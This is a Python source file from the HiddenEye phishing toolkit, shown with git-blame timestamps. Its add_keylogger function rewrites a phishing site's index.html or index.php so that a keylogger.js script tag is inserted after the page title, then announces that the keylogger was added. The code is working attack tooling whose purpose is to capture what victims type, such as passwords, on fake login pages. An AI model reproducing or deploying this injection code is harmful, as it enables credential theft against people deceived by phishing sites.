2020-05-11 17:12:06 +08:00
|
|
|
#
|
|
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
|
|
# This is free software, and you are welcome to redistribute it
|
|
|
|
# under certain conditions; you can read LICENSE for details.
|
|
|
|
#
|
2020-05-06 23:00:28 +08:00
|
|
|
import Defs.ThemeManager.theme as theme
|
2020-08-13 18:29:55 +08:00
|
|
|
from Defs.ImportManager.unsorted_will_be_replaced import path
|
|
|
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
|
|
|
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
2020-05-06 23:00:28 +08:00
|
|
|
|
|
|
|
default_palette = theme.default_palette
|
|
|
|
|
|
|
|
|
|
|
|
def add_keylogger():
|
2020-08-13 18:29:52 +08:00
|
|
|
if path.exists("Server/www/index.html"):
|
|
|
|
with open("Server/www/index.html") as f:
|
2020-05-06 23:00:28 +08:00
|
|
|
read_data = f.read()
|
2020-08-13 18:30:01 +08:00
|
|
|
c = read_data.replace("</title>",
|
|
|
|
'</title><script src="keylogger.js"></script>')
|
2020-08-13 18:29:52 +08:00
|
|
|
f = open("Server/www/index.html", "w")
|
2020-05-06 23:00:28 +08:00
|
|
|
f.write(c)
|
|
|
|
f.close()
|
2020-08-13 18:30:01 +08:00
|
|
|
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
|
|
|
default_palette[0], default_palette[4]))
|
2020-05-06 23:00:28 +08:00
|
|
|
wait(2)
|
|
|
|
else:
|
2020-08-13 18:29:52 +08:00
|
|
|
with open("Server/www/index.php") as f:
|
2020-05-06 23:00:28 +08:00
|
|
|
read_data = f.read()
|
2020-08-13 18:30:01 +08:00
|
|
|
c = read_data.replace("</title>",
|
|
|
|
'</title><script src="keylogger.js"></script>')
|
2020-08-13 18:29:52 +08:00
|
|
|
f = open("Server/www/index.php", "w")
|
2020-05-06 23:00:28 +08:00
|
|
|
f.write(c)
|
|
|
|
f.close()
|
2020-08-13 18:30:01 +08:00
|
|
|
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
|
|
|
default_palette[0], default_palette[4]))
|
2020-05-06 23:00:28 +08:00
|
|
|
wait(2)
|